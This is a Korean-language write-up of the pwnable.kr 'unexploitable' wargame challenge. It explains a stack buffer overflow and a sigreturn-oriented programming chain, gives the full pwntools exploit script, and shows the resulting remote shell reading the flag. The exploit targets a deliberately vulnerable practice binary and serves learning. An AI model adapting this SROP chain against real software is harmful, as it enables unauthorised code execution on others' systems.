Description
I don’t think this is exploitable bug. do you agree?
(task is patched. unintended easy solutions will not work from now :P)
ssh [email protected] -p2222 (pw:guest)
checksec
seo@seo:~/Documents/pwnable.kr/unexploitable$ checksec ./unexploitable [*] '/home/seo/Documents/pwnable.kr/unexploitable/unexploitable' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
Decompiled-src
main
int __cdecl main(int argc, const char **argv, const char **envp) { char buf[16]; // [rsp+0h] [rbp-10h] BYREF sleep(3u); return read(0, buf, 0x50FuLL); }
16바이트 크기의 buf에 read 함수를 통해 0x50f만큼 넘치게 입력받으므로,
버퍼 오버플로우가 발생한다.
Solution
쉘을 획득할 수 있는 쓸만한 rop 가젯들이 적기 때문에
SigReturn-Oriented Programming 기법을 사용한다.
rax 레지스터값을 SYS_rt_sigreturn 시스템콜 번호인 15로 컨트롤하기 위해 아래 가젯를 응용한다.
gdb-peda$ disas main Dump of assembler code for function main: ... 0x000000000040055b <+23>: lea rax,[rbp-0x10] 0x000000000040055f <+27>: mov edx,0x50f 0x0000000000400564 <+32>: mov rsi,rax 0x0000000000400567 <+35>: mov edi,0x0 0x000000000040056c <+40>: mov eax,0x0 0x0000000000400571 <+45>: call 0x400430 <read@plt> 0x0000000000400576 <+50>: leave 0x0000000000400577 <+51>: ret
1) read(0, (void *)(0x601068), 0x50FuLL);
16바이트만큼 더미로 채우고,
rbp를 0x601078(=mem_region)으로 하여 0x601068 주소에 데이터를 쓰도록 만든다.
# read(0, (void *)(mem_region-0x10), 0x50FuLL); # read(0, (void *)(0x601068), 0x50FuLL); payload = b'A'*16 payload += p64(mem_region) payload += p64(main_lea_read) p.sendline(payload) sleep(0.5)
2) 이제 0x601068 지점에 데이터를 쓰는데,
여기에 “/bin/sh”, srop, 그리고 한번더 read 함수를 호출하게 만드는 페이로드를 작성한다.
# set payload data to 0x601068 # read(0, (void *)(mem_region+0x18), 0x50FuLL); # read(0, (void *)(0x601078), 0x50FuLL); payload = bin_sh #0x601068 payload += b'B'*8 #0x601070 payload += p64(mem_region+0x18) #0x601078 <- read to 0x601078 payload += p64(main_lea_read) #0x601080 <- control RIP payload += bytes(frame) #0x601088 <- srop payload p.sendline(payload) # before leave; RBP: 0x601078 --> 0x601090 --> 0x0 # after leave; RSP: 0x601080 --> 0x40055b (main_lea_read) # after ret; RIP: 0x40055b (<main+23>: lea rax,[rbp-0x10]) sleep(0.5)
3) 0x601078 지점에 15바이트만큼 데이터를 쓰는데,
srop 페이로드는 유지한채로 이제 RIP가 syscall 주소로 향하게끔 만들면 된다.
# make rax to 15 using read payload = p64(syscall) #0x601078 payload += bytes(frame)[:6] # keep frame, make rax to 15 (SYS_rt_sigreturn) p.sendline(payload) # before leave; RBP: 0x601070 # after leave; RSP: 0x601078 --> 0x400560 (syscall) # after ret; RIP: 0x400560 (<main+28>: syscall) p.interactive()
solve.py
from pwn import * #context.log_level = 'debug' context(arch='amd64', os='linux') warnings.filterwarnings('ignore') p = process("./unexploitable") s = ssh('unexploitable', 'pwnable.kr', 2222, 'guest') p = s.process(executable="./unexploitable") e = ELF('./unexploitable') bin_sh = b"/bin/sh\x00" mem_region = e.bss()+0x50 #0x601078 print(f"mem_region: {hex(mem_region)}") main_lea_read = e.symbols['main'] + 0x17 print(f"main_lea_read: {hex(main_lea_read)}") syscall = e.symbols['main'] + 0x1c print(f"syscall: {hex(syscall)}") ######## SROP ######## bin_sh_address = 0x601068 frame = SigreturnFrame(arch="amd64") frame.rax = 0x3b frame.rdi = bin_sh_address frame.rip = syscall ####################### sleep(3.5) # read(0, (void *)(mem_region-0x10), 0x50FuLL); # read(0, (void *)(0x601068), 0x50FuLL); payload = b'A'*16 payload += p64(mem_region) payload += p64(main_lea_read) p.sendline(payload) sleep(0.5) # set payload data to 0x601068 # read(0, (void *)(mem_region+0x18), 0x50FuLL); # read(0, (void *)(0x601078), 0x50FuLL); payload = bin_sh #0x601068 payload += b'B'*8 #0x601070 payload += p64(mem_region+0x18) #0x601078 <- read to 0x601078 payload += p64(main_lea_read) #0x601080 <- control RIP payload += bytes(frame) #0x601088 <- srop payload p.sendline(payload) # before leave; RBP: 0x601078 --> 0x601090 --> 0x0 # after leave; RSP: 0x601080 --> 0x40055b (main_lea_read) # after ret; RIP: 0x40055b (<main+23>: lea rax,[rbp-0x10]) sleep(0.5) # make rax to 15 using read payload = p64(syscall) #0x601078 payload += bytes(frame)[:6] # keep frame, make rax to 15 (SYS_rt_sigreturn) p.sendline(payload) # before leave; RBP: 0x601070 # after leave; RSP: 0x601078 --> 0x400560 (syscall) # after ret; RIP: 0x400560 (<main+28>: syscall) p.interactive()
Result
seo@seo:~/Documents/pwnable.kr/unexploitable$ python3 solve2.py [+] Starting local process './unexploitable': pid 29716 [+] Connecting to pwnable.kr on port 2222: Done [*] [email protected]: Distro Ubuntu 16.04 OS: linux Arch: amd64 Version: 4.4.179 ASLR: Enabled [+] Starting remote process bytearray(b'./unexploitable') on pwnable.kr: pid 210214 [*] '/home/seo/Documents/pwnable.kr/unexploitable/unexploitable' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) mem_region: 0x601078 main_lea_read: 0x40055b syscall: 0x400560 [*] Switching to interactive mode $ $ ls flag unexploitable unexploitable.c $ $ cat flag sigreturn rop..? not a secret technique anymore!! $ $ [*] Interrupted [*] Stopped process './unexploitable' (pid 29716)